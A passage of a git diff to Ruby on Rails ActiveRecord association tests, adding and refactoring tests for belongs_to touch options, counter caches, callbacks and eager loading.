+ assert_equal 0, Web::Topic.find(topic1.id).replies.size
+ assert_equal 1, Web::Topic.find(topic2.id).replies.size
end
def test_belongs_to_counter_after_save
@@ -317,12 +365,77 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
assert_equal 1, Topic.find(topic.id)[:replies_count]
end
- def test_belongs_to_counter_after_update_attributes
- topic = Topic.create!(:title => "37s")
- topic.replies.create!(:title => "re: 37s", :content => "rails")
+ def test_belongs_to_with_touch_option_on_touch
+ line_item = LineItem.create!
+ Invoice.create!(line_items: [line_item])
+
+ assert_queries(1) { line_item.touch }
+ end
+
+ def test_belongs_to_with_touch_option_on_touch_without_updated_at_attributes
+ assert_not LineItem.column_names.include?("updated_at")
+
+ line_item = LineItem.create!
+ invoice = Invoice.create!(line_items: [line_item])
+ initial = invoice.updated_at
+ line_item.touch
+
+ assert_not_equal initial, invoice.reload.updated_at
+ end
+
+ def test_belongs_to_with_touch_option_on_touch_and_removed_parent
+ line_item = LineItem.create!
+ Invoice.create!(line_items: [line_item])
+
+ line_item.invoice = nil
+
+ assert_queries(2) { line_item.touch }
+ end
+
+ def test_belongs_to_with_touch_option_on_update
+ line_item = LineItem.create!
+ Invoice.create!(line_items: [line_item])
+
+ assert_queries(2) { line_item.update amount: 10 }
+ end
+
+ def test_belongs_to_with_touch_option_on_empty_update
+ line_item = LineItem.create!
+ Invoice.create!(line_items: [line_item])
+
+ assert_queries(0) { line_item.save }
+ end
+
+ def test_belongs_to_with_touch_option_on_destroy
+ line_item = LineItem.create!
+ Invoice.create!(line_items: [line_item])
+
+ assert_queries(2) { line_item.destroy }
+ end
+
+ def test_belongs_to_with_touch_option_on_destroy_with_destroyed_parent
+ line_item = LineItem.create!
+ invoice = Invoice.create!(line_items: [line_item])
+ invoice.destroy
+
+ assert_queries(1) { line_item.destroy }
+ end
+
+ def test_belongs_to_with_touch_option_on_touch_and_reassigned_parent
+ line_item = LineItem.create!
+ Invoice.create!(line_items: [line_item])
+
+ line_item.invoice = Invoice.create!
+
+ assert_queries(3) { line_item.touch }
+ end
+
+ def test_belongs_to_counter_after_update
+ topic = Topic.create!(title: "37s")
+ topic.replies.create!(title: "re: 37s", content: "rails")
assert_equal 1, Topic.find(topic.id)[:replies_count]
- topic.update_attributes(:title => "37signals")
+ topic.update(title: "37signals")
assert_equal 1, Topic.find(topic.id)[:replies_count]
end
@@ -331,7 +444,7 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
topic.replies.create!(:title => "re: 37s", :content => "rails")
assert_equal 1, Topic.find(topic.id)[:replies_count]
- topic.update_columns(content: "rails is wonderfull")
+ topic.update_columns(content: "rails is wonderful")
assert_equal 1, Topic.find(topic.id)[:replies_count]
end
@@ -360,9 +473,9 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
end
def test_new_record_with_foreign_key_but_no_object
- c = Client.new("firm_id" => 1)
+ client = Client.new("firm_id" => 1)
# sometimes tests on Oracle fail if ORDER BY is not provided therefore add always :order with :first
- assert_equal Firm.all.merge!(:order => "id").first, c.firm_with_basic_id
+ assert_equal Firm.all.merge!(:order => "id").first, client.firm_with_basic_id
end
def test_setting_foreign_key_after_nil_target_loaded
@@ -384,8 +497,7 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
def test_dont_find_target_when_foreign_key_is_null
tagging = taggings(:thinking_general)
- queries = assert_sql { tagging.super_tag }
- assert_equal 0, queries.length
+ assert_queries(0) { tagging.super_tag }
end
def test_field_name_same_as_foreign_key
@@ -407,6 +519,47 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
assert_equal 15, topic.replies.size
end
+ def test_counter_cache_double_destroy
+ topic = Topic.create :title => "Zoom-zoom-zoom"
+
+ 5.times do
+ topic.replies.create(:title => "re: zoom", :content => "speedy quick!")
+ end
+
+ assert_equal 5, topic.reload[:replies_count]
+ assert_equal 5, topic.replies.size
+
+ reply = topic.replies.first
+
+ reply.destroy
+ assert_equal 4, topic.reload[:replies_count]
+
+ reply.destroy
+ assert_equal 4, topic.reload[:replies_count]
+ assert_equal 4, topic.replies.size
+ end
+
+ def test_concurrent_counter_cache_double_destroy
+ topic = Topic.create :title => "Zoom-zoom-zoom"
+
+ 5.times do
+ topic.replies.create(:title => "re: zoom", :content => "speedy quick!")
+ end
+
+ assert_equal 5, topic.reload[:replies_count]
+ assert_equal 5, topic.replies.size
+
+ reply = topic.replies.first
+ reply_clone = Reply.find(reply.id)
+
+ reply.destroy
+ assert_equal 4, topic.reload[:replies_count]
+
+ reply_clone.destroy
+ assert_equal 4, topic.reload[:replies_count]
+ assert_equal 4, topic.replies.size
+ end
+
def test_custom_counter_cache
reply = Reply.create(:title => "re: zoom", :content => "speedy quick!")
assert_equal 0, reply[:replies_count]
@@ -447,6 +600,19 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
assert companies(:first_client).readonly_firm.readonly?
end
+ def test_test_polymorphic_assignment_foreign_key_type_string
+ comment = Comment.first
+ comment.author = Author.first
+ comment.resource = Member.first
+ comment.save
+
+ assert_equal Comment.all.to_a,
+ Comment.includes(:author).to_a
+
+ assert_equal Comment.all.to_a,
+ Comment.includes(:resource).to_a
+ end
+
def test_polymorphic_assignment_foreign_type_field_updating
# should update when assigning a saved record
sponsor = Sponsor.new
@@ -511,6 +677,19 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
assert_nil essay.writer_id
end
+ def test_polymorphic_assignment_with_nil
+ essay = Essay.new
+ assert_nil essay.writer_id
+ assert_nil essay.writer_type
+
+ essay.writer_id = 1
+ essay.writer_type = 'Author'
+
+ essay.writer = nil
+ assert_nil essay.writer_id
+ assert_nil essay.writer_type
+ end
+
def test_belongs_to_proxy_should_not_respond_to_private_methods
assert_raise(NoMethodError) { companies(:first_firm).private_method }
assert_raise(NoMethodError) { companies(:second_client).firm.private_method }
@@ -538,6 +717,8 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
end
def test_dependent_delete_and_destroy_with_belongs_to
+ AuthorAddress.destroyed_author_address_ids.clear
+
author_address = author_addresses(:david_address)
author_address_extra = author_addresses(:david_address_extra)
assert_equal [], AuthorAddress.destroyed_author_address_ids
@@ -550,16 +731,11 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
assert_equal [author_address.id], AuthorAddress.destroyed_author_address_ids
end
- def test_invalid_belongs_to_dependent_option_nullify_raises_exception
- assert_raise ArgumentError do
+ def test_belongs_to_invalid_dependent_option_raises_exception
+ error = assert_raise ArgumentError do
Class.new(Author).belongs_to :special_author_address, :dependent => :nullify
end
- end
-
- def test_invalid_belongs_to_dependent_option_restrict_raises_exception
- assert_raise ArgumentError do
- Class.new(Author).belongs_to :special_author_address, :dependent => :restrict
- end
+ assert_equal error.message, 'The :dependent option must be one of [:destroy, :delete], but is :nullify'
end
def test_attributes_are_being_set_when_initialized_from_belongs_to_association_with_where_clause
@@ -567,6 +743,11 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
assert_equal new_firm.name, "Apple"
end
+ def test_attributes_are_set_without_error_when_initialized_from_belongs_to_association_with_array_in_where_clause
+ new_account = Account.where(:credit_limit => [ 50, 60 ]).new
+ assert_nil new_account.credit_limit
+ end
+
def test_reassigning_the_parent_id_updates_the_object
client = companies(:second_client)
@@ -636,8 +817,8 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
post = posts(:welcome)
comment = comments(:greetings)
- assert_difference lambda { post.reload.taggings_count }, -1 do
- assert_difference 'comment.reload.taggings_count', +1 do
+ assert_difference lambda { post.reload.tags_count }, -1 do
+ assert_difference 'comment.reload.tags_count', +1 do
tagging.taggable = comment
end
end
@@ -727,6 +908,17 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
assert_equal 0, comments(:greetings).reload.children_count
end
+ def test_belongs_to_with_id_assigning
+ post = posts(:welcome)
+ comment = Comment.create! body: "foo", post: post
+ parent = comments(:greetings)
+ assert_equal 0, parent.reload.children_count
+ comment.parent_id = parent.id
+
+ comment.save!
+ assert_equal 1, parent.reload.children_count
+ end
+
def test_polymorphic_with_custom_primary_key
toy = Toy.create!
sponsor = Sponsor.create!(:sponsorable => toy)
@@ -756,4 +948,31 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
assert post.save
assert_equal post.author_id, author2.id
end
+
+ test 'dangerous association name raises ArgumentError' do
+ [:errors, 'errors', :save, 'save'].each do |name|
+ assert_raises(ArgumentError, "Association #{name} should not be allowed") do
+ Class.new(ActiveRecord::Base) do
+ belongs_to name
+ end
+ end
+ end
+ end
+
+ test 'belongs_to works with model called Record' do
+ record = Record.create!
+ Column.create! record: record
+ assert_equal 1, Column.count
+ end
+end
+
+class BelongsToWithForeignKeyTest < ActiveRecord::TestCase
+ fixtures :authors, :author_addresses
+
+ def test_destroy_linked_models
+ address = AuthorAddress.create!
+ author = Author.create! name: "Author", author_address_id: address.id
+
+ author.destroy!
+ end
end
diff --git a/activerecord/test/cases/associations/callbacks_test.rb b/activerecord/test/cases/associations/callbacks_test.rb
index 2d0d4541b4..a531e0e02c 100644
--- a/activerecord/test/cases/associations/callbacks_test.rb
+++ b/activerecord/test/cases/associations/callbacks_test.rb
@@ -3,6 +3,7 @@ require 'models/post'
require 'models/author'
require 'models/project'
require 'models/developer'
+require 'models/computer'
require 'models/company'
class AssociationCallbacksTest < ActiveRecord::TestCase
@@ -101,6 +102,27 @@ class AssociationCallbacksTest < ActiveRecord::TestCase
"after_adding#{david.id}"], ar.developers_log
end
+ def test_has_and_belongs_to_many_before_add_called_before_save
+ dev = nil
+ new_dev = nil
+ klass = Class.new(Project) do
+ def self.name; Project.name; end
+ has_and_belongs_to_many :developers_with_callbacks,
+ :class_name => "Developer",
+ :before_add => lambda { |o,r|
+ dev = r
+ new_dev = r.new_record?
+ }
+ end
+ rec = klass.create!
+ alice = Developer.new(:name => 'alice')
+ rec.developers_with_callbacks << alice
+ assert_equal alice, dev
+ assert_not_nil new_dev
+ assert new_dev, "record should not have been saved"
+ assert_not alice.new_record?
+ end
+
def test_has_and_belongs_to_many_after_add_called_after_save
ar = projects(:active_record)
assert ar.developers_log.empty?
@@ -129,7 +151,7 @@ class AssociationCallbacksTest < ActiveRecord::TestCase
"after_removing#{jamis.id}"], activerecord.developers_log
end
- def test_has_and_belongs_to_many_remove_callback_on_clear
+ def test_has_and_belongs_to_many_does_not_fire_callbacks_on_clear
activerecord = projects(:active_record)
assert activerecord.developers_log.empty?
if activerecord.developers_with_callbacks.size == 0
@@ -138,9 +160,9 @@ class AssociationCallbacksTest < ActiveRecord::TestCase
activerecord.reload
assert activerecord.developers_with_callbacks.size == 2
end
- log_array = activerecord.developers_with_callbacks.collect {|d| ["before_removing#{d.id}","after_removing#{d.id}"]}.flatten.sort
+ activerecord.developers_with_callbacks.flat_map {|d| ["before_removing#{d.id}","after_removing#{d.id}"]}.sort
assert activerecord.developers_with_callbacks.clear
- assert_equal log_array, activerecord.developers_log.sort
+ assert_predicate activerecord.developers_log, :empty?
end
def test_has_many_and_belongs_to_many_callbacks_for_save_on_parent
diff --git a/activerecord/test/cases/associations/cascaded_eager_loading_test.rb b/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
index 80bca7f63e..51d8e0523e 100644
--- a/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
+++ b/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
@@ -35,9 +35,9 @@ class CascadedEagerLoadingTest < ActiveRecord::TestCase
def test_eager_association_loading_with_hmt_does_not_table_name_collide_when_joining_associations
assert_nothing_raised do
- Author.joins(:posts).eager_load(:comments).where(:posts => {:taggings_count => 1}).to_a
+ Author.joins(:posts).eager_load(:comments).where(:posts => {:tags_count => 1}).to_a
end
- authors = Author.joins(:posts).eager_load(:comments).where(:posts => {:taggings_count => 1}).to_a
+ authors = Author.joins(:posts).eager_load(:comments).where(:posts => {:tags_count => 1}).to_a
assert_equal 1, assert_no_queries { authors.size }
assert_equal 10, assert_no_queries { authors[0].comments.size }
end
@@ -52,12 +52,10 @@ class CascadedEagerLoadingTest < ActiveRecord::TestCase
def test_cascaded_eager_association_loading_with_join_for_count
categories = Category.joins(:categorizations).includes([{:posts=>:comments}, :authors])
- assert_nothing_raised do
- assert_equal 4, categories.count
- assert_equal 4, categories.to_a.count
- assert_equal 3, categories.count(:distinct => true)
- assert_equal 3, categories.to_a.uniq.size # Must uniq since instantiating with inner joins will get dupes
- end
+ assert_equal 4, categories.count
+ assert_equal 4, categories.to_a.count
+ assert_equal 3, categories.distinct.count
+ assert_equal 3, categories.to_a.uniq.size # Must uniq since instantiating with inner joins will get dupes
end
def test_cascaded_eager_association_loading_with_duplicated_includes
@@ -176,4 +174,15 @@ class CascadedEagerLoadingTest < ActiveRecord::TestCase
sink = Vertex.all.merge!(:includes=>{:sources=>{:sources=>{:sources=>:sources}}}, :order => 'vertices.id DESC').first
assert_equal vertices(:vertex_1), assert_no_queries { sink.sources.first.sources.first.sources.first.sources.first }
end
+
+ def test_eager_association_loading_with_cascaded_interdependent_one_level_and_two_levels
+ authors_relation = Author.all.merge!(includes: [:comments, { posts: :categorizations }], order: "authors.id")
+ authors = authors_relation.to_a
+ assert_equal 3, authors.size
+ assert_equal 10, authors[0].comments.size
+ assert_equal 1, authors[1].comments.size
+ assert_equal 5, authors[0].posts.size
+ assert_equal 3, authors[1].posts.size
+ assert_equal 3, authors[0].posts.collect { |post| post.categorizations.size }.inject(0) { |sum, i| sum+i }
+ end
end
diff --git a/activerecord/test/cases/associations/deprecated_counter_cache_on_has_many_through_test.rb b/activerecord/test/cases/associations/deprecated_counter_cache_on_has_many_through_test.rb
new file mode 100644
index 0000000000..48f7ddbe83
--- /dev/null
+++ b/activerecord/test/cases/associations/deprecated_counter_cache_on_has_many_through_test.rb
@@ -0,0 +1,26 @@
+require "cases/helper"
+
+class DeprecatedCounterCacheOnHasManyThroughTest < ActiveRecord::TestCase
+ class Post < ActiveRecord::Base
+ has_many :taggings, as: :taggable
+ has_many :tags, through: :taggings
+ end
+
+ class Tagging < ActiveRecord::Base
+ belongs_to :taggable, polymorphic: true
+ belongs_to :tag
+ end
+
+ class Tag < ActiveRecord::Base
+ end
+
+ test "counter caches are updated in the database if the belongs_to association doesn't specify a counter cache" do
+ post = Post.create!(title: 'Hello', body: 'World!')
+ assert_deprecated { post.tags << Tag.create!(name: 'whatever') }
+
+ assert_equal 1, post.tags.size
+ assert_equal 1, post.tags_count
+ assert_equal 1, post.reload.tags.size
+ assert_equal 1, post.reload.tags_count
+ end
+end
diff --git a/activerecord/test/cases/associations/eager_load_nested_include_test.rb b/activerecord/test/cases/associations/eager_load_nested_include_test.rb
index 5ff117eaa0..f571198079 100644
--- a/activerecord/test/cases/associations/eager_load_nested_include_test.rb
+++ b/activerecord/test/cases/associations/eager_load_nested_include_test.rb
@@ -68,11 +68,9 @@ class EagerLoadPolyAssocsTest < ActiveRecord::TestCase
generate_test_object_graphs
end
- def teardown
+ teardown do
[Circle, Square, Triangle, PaintColor, PaintTexture,
- ShapeExpression, NonPolyOne, NonPolyTwo].each do |c|
- c.delete_all
- end
+ ShapeExpression, NonPolyOne, NonPolyTwo].each(&:delete_all)
end
def generate_test_object_graphs
@@ -111,7 +109,7 @@ class EagerLoadNestedIncludeWithMissingDataTest < ActiveRecord::TestCase
@first_categorization = @davey_mcdave.categorizations.create(:category => Category.first, :post => @first_post)
end
- def teardown
+ teardown do
@davey_mcdave.destroy
@first_post.destroy
@first_comment.destroy
diff --git a/activerecord/test/cases/associations/eager_singularization_test.rb b/activerecord/test/cases/associations/eager_singularization_test.rb
index 634f6b63ba..a61a070331 100644
--- a/activerecord/test/cases/associations/eager_singularization_test.rb
+++ b/activerecord/test/cases/associations/eager_singularization_test.rb
@@ -1,128 +1,132 @@
require "cases/helper"
-class Virus < ActiveRecord::Base
- belongs_to :octopus
-end
-class Octopus < ActiveRecord::Base
- has_one :virus
-end
-class Pass < ActiveRecord::Base
- belongs_to :bus
-end
-class Bus < ActiveRecord::Base
- has_many :passes
-end
-class Mess < ActiveRecord::Base
- has_and_belongs_to_many :crises
-end
-class Crisis < ActiveRecord::Base
- has_and_belongs_to_many :messes
- has_many :analyses, :dependent => :destroy
- has_many :successes, :through => :analyses
- has_many :dresses, :dependent => :destroy
- has_many :compresses, :through => :dresses
-end
-class Analysis < ActiveRecord::Base
- belongs_to :crisis
- belongs_to :success
-end
-class Success < ActiveRecord::Base
- has_many :analyses, :dependent => :destroy
- has_many :crises, :through => :analyses
-end
-class Dress < ActiveRecord::Base
- belongs_to :crisis
- has_many :compresses
-end
-class Compress < ActiveRecord::Base
- belongs_to :dress
-end
-
+if ActiveRecord::Base.connection.supports_migrations?
class EagerSingularizationTest < ActiveRecord::TestCase
+ class Virus < ActiveRecord::Base
+ belongs_to :octopus
+ end
+
+ class Octopus < ActiveRecord::Base
+ has_one :virus
+ end
+
+ class Pass < ActiveRecord::Base
+ belongs_to :bus
+ end
+
+ class Bus < ActiveRecord::Base
+ has_many :passes
+ end
+
+ class Mess < ActiveRecord::Base
+ has_and_belongs_to_many :crises
+ end
+
+ class Crisis < ActiveRecord::Base
+ has_and_belongs_to_many :messes
+ has_many :analyses, :dependent => :destroy
+ has_many :successes, :through => :analyses
+ has_many :dresses, :dependent => :destroy
+ has_many :compresses, :through => :dresses
+ end
+
+ class Analysis < ActiveRecord::Base
+ belongs_to :crisis
+ belongs_to :success
+ end
+
+ class Success < ActiveRecord::Base
+ has_many :analyses, :dependent => :destroy
+ has_many :crises, :through => :analyses
+ end
+
+ class Dress < ActiveRecord::Base
+ belongs_to :crisis
+ has_many :compresses
+ end
+
+ class Compress < ActiveRecord::Base
+ belongs_to :dress
+ end
def setup
- if ActiveRecord::Base.connection.supports_migrations?
- ActiveRecord::Base.connection.create_table :viri do |t|
- t.column :octopus_id, :integer
- t.column :species, :string
- end
- ActiveRecord::Base.connection.create_table :octopi do |t|
- t.column :species, :string
- end
- ActiveRecord::Base.connection.create_table :passes do |t|
- t.column :bus_id, :integer
- t.column :rides, :integer
- end
- ActiveRecord::Base.connection.create_table :buses do |t|
- t.column :name, :string
- end
- ActiveRecord::Base.connection.create_table :crises_messes, :id => false do |t|
- t.column :crisis_id, :integer
- t.column :mess_id, :integer
- end
- ActiveRecord::Base.connection.create_table :messes do |t|
- t.column :name, :string
- end
- ActiveRecord::Base.connection.create_table :crises do |t|
- t.column :name, :string
- end
- ActiveRecord::Base.connection.create_table :successes do |t|
- t.column :name, :string
- end
- ActiveRecord::Base.connection.create_table :analyses do |t|
- t.column :crisis_id, :integer
- t.column :success_id, :integer
- end
- ActiveRecord::Base.connection.create_table :dresses do |t|
- t.column :crisis_id, :integer
- end
- ActiveRecord::Base.connection.create_table :compresses do |t|
- t.column :dress_id, :integer
- end
- @have_tables = true
- else
- @have_tables = false
- end
- end
-
- def teardown
- ActiveRecord::Base.connection.drop_table :viri
- ActiveRecord::Base.connection.drop_table :octopi
- ActiveRecord::Base.connection.drop_table :passes
- ActiveRecord::Base.connection.drop_table :buses
- ActiveRecord::Base.connection.drop_table :crises_messes
- ActiveRecord::Base.connection.drop_table :messes
- ActiveRecord::Base.connection.drop_table :crises
- ActiveRecord::Base.connection.drop_table :successes
- ActiveRecord::Base.connection.drop_table :analyses
- ActiveRecord::Base.connection.drop_table :dresses
- ActiveRecord::Base.connection.drop_table :compresses
+ connection.create_table :viri do |t|
+ t.column :octopus_id, :integer
+ t.column :species, :string
+ end
+ connection.create_table :octopi do |t|
+ t.column :species, :string
+ end
+ connection.create_table :passes do |t|
+ t.column :bus_id, :integer
+ t.column :rides, :integer
+ end
+ connection.create_table :buses do |t|
+ t.column :name, :string
+ end
+ connection.create_table :crises_messes, :id => false do |t|
+ t.column :crisis_id, :integer
+ t.column :mess_id, :integer
+ end
+ connection.create_table :messes do |t|
+ t.column :name, :string
+ end
+ connection.create_table :crises do |t|
+ t.column :name, :string
+ end
+ connection.create_table :successes do |t|
+ t.column :name, :string
+ end
+ connection.create_table :analyses do |t|
+ t.column :crisis_id, :integer
+ t.column :success_id, :integer
+ end
+ connection.create_table :dresses do |t|
+ t.column :crisis_id, :integer
+ end
+ connection.create_table :compresses do |t|
+ t.column :dress_id, :integer
+ end
+ end
+
+ teardown do
+ connection.drop_table :viri
+ connection.drop_table :octopi
+ connection.drop_table :passes
+ connection.drop_table :buses
+ connection.drop_table :crises_messes
+ connection.drop_table :messes
+ connection.drop_table :crises
+ connection.drop_table :successes
+ connection.drop_table :analyses
+ connection.drop_table :dresses
+ connection.drop_table :compresses
+ end
+
+ def connection
+ ActiveRecord::Base.connection
end
def test_eager_no_extra_singularization_belongs_to
- return unless @have_tables
assert_nothing_raised do
Virus.all.merge!(:includes => :octopus).to_a
end
end
def test_eager_no_extra_singularization_has_one
- return unless @have_tables
assert_nothing_raised do
Octopus.all.merge!(:includes => :virus).to_a
end
end
def test_eager_no_extra_singularization_has_many
- return unless @have_tables
assert_nothing_raised do
Bus.all.merge!(:includes => :passes).to_a
end
end
def test_eager_no_extra_singularization_has_and_belongs_to_many
- return unless @have_tables
assert_nothing_raised do
Crisis.all.merge!(:includes => :messes).to_a
Mess.all.merge!(:includes => :crises).to_a
@@ -130,16 +134,15 @@ class EagerSingularizationTest < ActiveRecord::TestCase
end
def test_eager_no_extra_singularization_has_many_through_belongs_to
- return unless @have_tables
assert_nothing_raised do
Crisis.all.merge!(:includes => :successes).to_a
end
end
def test_eager_no_extra_singularization_has_many_through_has_many
- return unless @have_tables
assert_nothing_raised do
Crisis.all.merge!(:includes => :compresses).to_a
end
end
end
+end
diff --git a/activerecord/test/cases/associations/eager_test.rb b/activerecord/test/cases/associations/eager_test.rb
index 94437380a4..db8fd92c1f 100644
--- a/activerecord/test/cases/associations/eager_test.rb
+++ b/activerecord/test/cases/associations/eager_test.rb
@@ -4,6 +4,7 @@ require 'models/tagging'
require 'models/tag'
require 'models/comment'
require 'models/author'
+require 'models/essay'
require 'models/category'
require 'models/company'
require 'models/person'
@@ -16,6 +17,7 @@ require 'models/subscriber'
require 'models/subscription'
require 'models/book'
require 'models/developer'
+require 'models/computer'
require 'models/project'
require 'models/member'
require 'models/membership'
@@ -24,7 +26,7 @@ require 'models/categorization'
require 'models/sponsor'
class EagerAssociationTest < ActiveRecord::TestCase
- fixtures :posts, :comments, :authors, :author_addresses, :categories, :categories_posts,
+ fixtures :posts, :comments, :authors, :essays, :author_addresses, :categories, :categories_posts,
:companies, :accounts, :tags, :taggings, :people, :readers, :categorizations,
:owners, :pets, :author_favorites, :jobs, :references, :subscribers, :subscriptions, :books,
:developers, :projects, :developers_projects, :members, :memberships, :clubs, :sponsors
@@ -73,6 +75,11 @@ class EagerAssociationTest < ActiveRecord::TestCase
end
end
+ def test_has_many_through_with_order
+ authors = Author.includes(:favorite_authors).to_a
+ assert_no_queries { authors.map(&:favorite_authors) }
+ end
+
def test_with_two_tables_in_from_without_getting_double_quoted
posts = Post.select("posts.*").from("authors, posts").eager_load(:comments).where("posts.author_id = authors.id").order("posts.id").to_a
assert_equal 2, posts.first.comments.size
@@ -93,31 +100,31 @@ class EagerAssociationTest < ActiveRecord::TestCase
end
def test_preloading_has_many_in_multiple_queries_with_more_ids_than_database_can_handle
- Post.connection.expects(:in_clause_length).at_least_once.returns(5)
+ Comment.connection.expects(:in_clause_length).at_least_once.returns(5)
posts = Post.all.merge!(:includes=>:comments).to_a
assert_equal 11, posts.size
end
def test_preloading_has_many_in_one_queries_when_database_has_no_limit_on_ids_it_can_handle
- Post.connection.expects(:in_clause_length).at_least_once.returns(nil)
+ Comment.connection.expects(:in_clause_length).at_least_once.returns(nil)
posts = Post.all.merge!(:includes=>:comments).to_a
assert_equal 11, posts.size
end
def test_preloading_habtm_in_multiple_queries_with_more_ids_than_database_can_handle
- Post.connection.expects(:in_clause_length).at_least_once.returns(5)
+ Comment.connection.expects(:in_clause_length).at_least_once.returns(5)
posts = Post.all.merge!(:includes=>:categories).to_a
assert_equal 11, posts.size
end
def test_preloading_habtm_in_one_queries_when_database_has_no_limit_on_ids_it_can_handle
- Post.connection.expects(:in_clause_length).at_least_once.returns(nil)
+ Comment.connection.expects(:in_clause_length).at_least_once.returns(nil)
posts = Post.all.merge!(:includes=>:categories).to_a
assert_equal 11, posts.size
end
def test_load_associated_records_in_one_query_when_adapter_has_no_limit
- Post.connection.expects(:in_clause_length).at_least_once.returns(nil)
+ Comment.connection.expects(:in_clause_length).at_least_once.returns(nil)
post = posts(:welcome)
assert_queries(2) do
@@ -126,7 +133,7 @@ class EagerAssociationTest < ActiveRecord::TestCase
end
def test_load_associated_records_in_several_queries_when_many_ids_passed
- Post.connection.expects(:in_clause_length).at_least_once.returns(1)
+ Comment.connection.expects(:in_clause_length).at_least_once.returns(1)
post1, post2 = posts(:welcome), posts(:thinking)
assert_queries(3) do
@@ -135,7 +142,7 @@ class EagerAssociationTest < ActiveRecord::TestCase
end
def test_load_associated_records_in_one_query_when_a_few_ids_passed
- Post.connection.expects(:in_clause_length).at_least_once.returns(3)
+ Comment.connection.expects(:in_clause_length).at_least_once.returns(3)
post = posts(:welcome)
assert_queries(2) do
@@ -188,7 +195,7 @@ class EagerAssociationTest < ActiveRecord::TestCase
end
end
- def test_finding_with_includes_on_has_one_assocation_with_same_include_includes_only_once
+ def test_finding_with_includes_on_has_one_association_with_same_include_includes_only_once
author = authors(:david)
post = author.post_about_thinking_with_last_comment
last_comment = post.last_comment
@@ -212,8 +219,9 @@ class EagerAssociationTest < ActiveRecord::TestCase
def test_finding_with_includes_on_null_belongs_to_association_with_same_include_includes_only_once
post = posts(:welcome)
- post.update_attributes!(:author => nil)
- post = assert_queries(1) { Post.all.merge!(:includes => {:author_with_address => :author_address}).find(post.id) } # find the post, then find the author which is null so no query for the author or address
+ post.update!(author: nil)
+ post = assert_queries(1) { Post.all.merge!(includes: {author_with_address: :author_address}).find(post.id) }
+ # find the post, then find the author which is null so no query for the author or address
assert_no_queries do
assert_equal nil, post.author_with_address
end
@@ -221,13 +229,24 @@ class EagerAssociationTest < ActiveRecord::TestCase
def test_finding_with_includes_on_null_belongs_to_polymorphic_association
sponsor = sponsors(:moustache_club_sponsor_for_groucho)
- sponsor.update_attributes!(:sponsorable => nil)
+ sponsor.update!(sponsorable: nil)
sponsor = assert_queries(1) { Sponsor.all.merge!(:includes => :sponsorable).find(sponsor.id) }
assert_no_queries do
assert_equal nil, sponsor.sponsorable
end
end
+ def test_finding_with_includes_on_empty_polymorphic_type_column
+ sponsor = sponsors(:moustache_club_sponsor_for_groucho)
+ sponsor.update!(sponsorable_type: '', sponsorable_id: nil) # sponsorable_type column might be declared NOT NULL
+ sponsor = assert_queries(1) do
+ assert_nothing_raised { Sponsor.all.merge!(:includes => :sponsorable).find(sponsor.id) }
+ end
+ assert_no_queries do
+ assert_equal nil, sponsor.sponsorable
+ end
+ end
+
def test_loading_from_an_association
posts = authors(:david).posts.merge(:includes => :comments, :order => "posts.id").to_a
assert_equal 2, posts.first.comments.size
@@ -244,12 +263,21 @@ class EagerAssociationTest < ActiveRecord::TestCase
assert_nil Post.all.merge!(:includes => :author).find(posts(:authorless).id).author
end
- def test_nested_loading_with_no_associations
+ # Regression test for 21c75e5
+ def test_nested_loading_does_not_raise_exception_when_association_does_not_exist
assert_nothing_raised do
Post.all.merge!(:includes => {:author => :author_addresss}).find(posts(:authorless).id)
end
end
+ def test_three_level_nested_preloading_does_not_raise_exception_when_association_does_not_exist
+ post_id = Comment.where(author_id: nil).where.not(post_id: nil).first.post_id
+
+ assert_nothing_raised do
+ Post.preload(:comments => [{:author => :essays}]).find(post_id)
+ end
+ end
+
def test_nested_loading_through_has_one_association
aa = AuthorAddress.all.merge!(:includes => {:author => :posts}).find(author_addresses(:david_address).id)
assert_equal aa.author.posts.count, aa.author.posts.length
@@ -296,7 +324,7 @@ class EagerAssociationTest < ActiveRecord::TestCase
def test_eager_association_loading_with_belongs_to_and_foreign_keys
pets = Pet.all.merge!(:includes => :owner).to_a
- assert_equal 3, pets.length
+ assert_equal 4, pets.length
end
def test_eager_association_loading_with_belongs_to
@@ -310,38 +338,36 @@ class EagerAssociationTest < ActiveRecord::TestCase
def test_eager_association_loading_with_belongs_to_and_limit
comments = Comment.all.merge!(:includes => :post, :limit => 5, :order => 'comments.id').to_a
assert_equal 5, comments.length
- assert_equal [1,2,3,5,6], comments.collect { |c| c.id }
+ assert_equal [1,2,3,5,6], comments.collect(&:id)
end
def test_eager_association_loading_with_belongs_to_and_limit_and_conditions
comments = Comment.all.merge!(:includes => :post, :where => 'post_id = 4', :limit => 3, :order => 'comments.id').to_a
assert_equal 3, comments.length
- assert_equal [5,6,7], comments.collect { |c| c.id }
+ assert_equal [5,6,7], comments.collect(&:id)
end
def test_eager_association_loading_with_belongs_to_and_limit_and_offset
comments = Comment.all.merge!(:includes => :post, :limit => 3, :offset => 2, :order => 'comments.id').to_a
assert_equal 3, comments.length
- assert_equal [3,5,6], comments.collect { |c| c.id }
+ assert_equal [3,5,6], comments.collect(&:id)
end
def test_eager_association_loading_with_belongs_to_and_limit_and_offset_and_conditions
comments = Comment.all.merge!(:includes => :post, :where => 'post_id = 4', :limit => 3, :offset => 1, :order => 'comments.id').to_a
assert_equal 3, comments.length
- assert_equal [6,7,8], comments.collect { |c| c.id }
+ assert_equal [6,7,8], comments.collect(&:id)
end
def test_eager_association_loading_with_belongs_to_and_limit_and_offset_and_conditions_array
comments = Comment.all.merge!(:includes => :post, :where => ['post_id = ?',4], :limit => 3, :offset => 1, :order => 'comments.id').to_a
assert_equal 3, comments.length
- assert_equal [6,7,8], comments.collect { |c| c.id }
+ assert_equal [6,7,8], comments.collect(&:id)
end
def test_eager_association_loading_with_belongs_to_and_conditions_string_with_unquoted_table_name
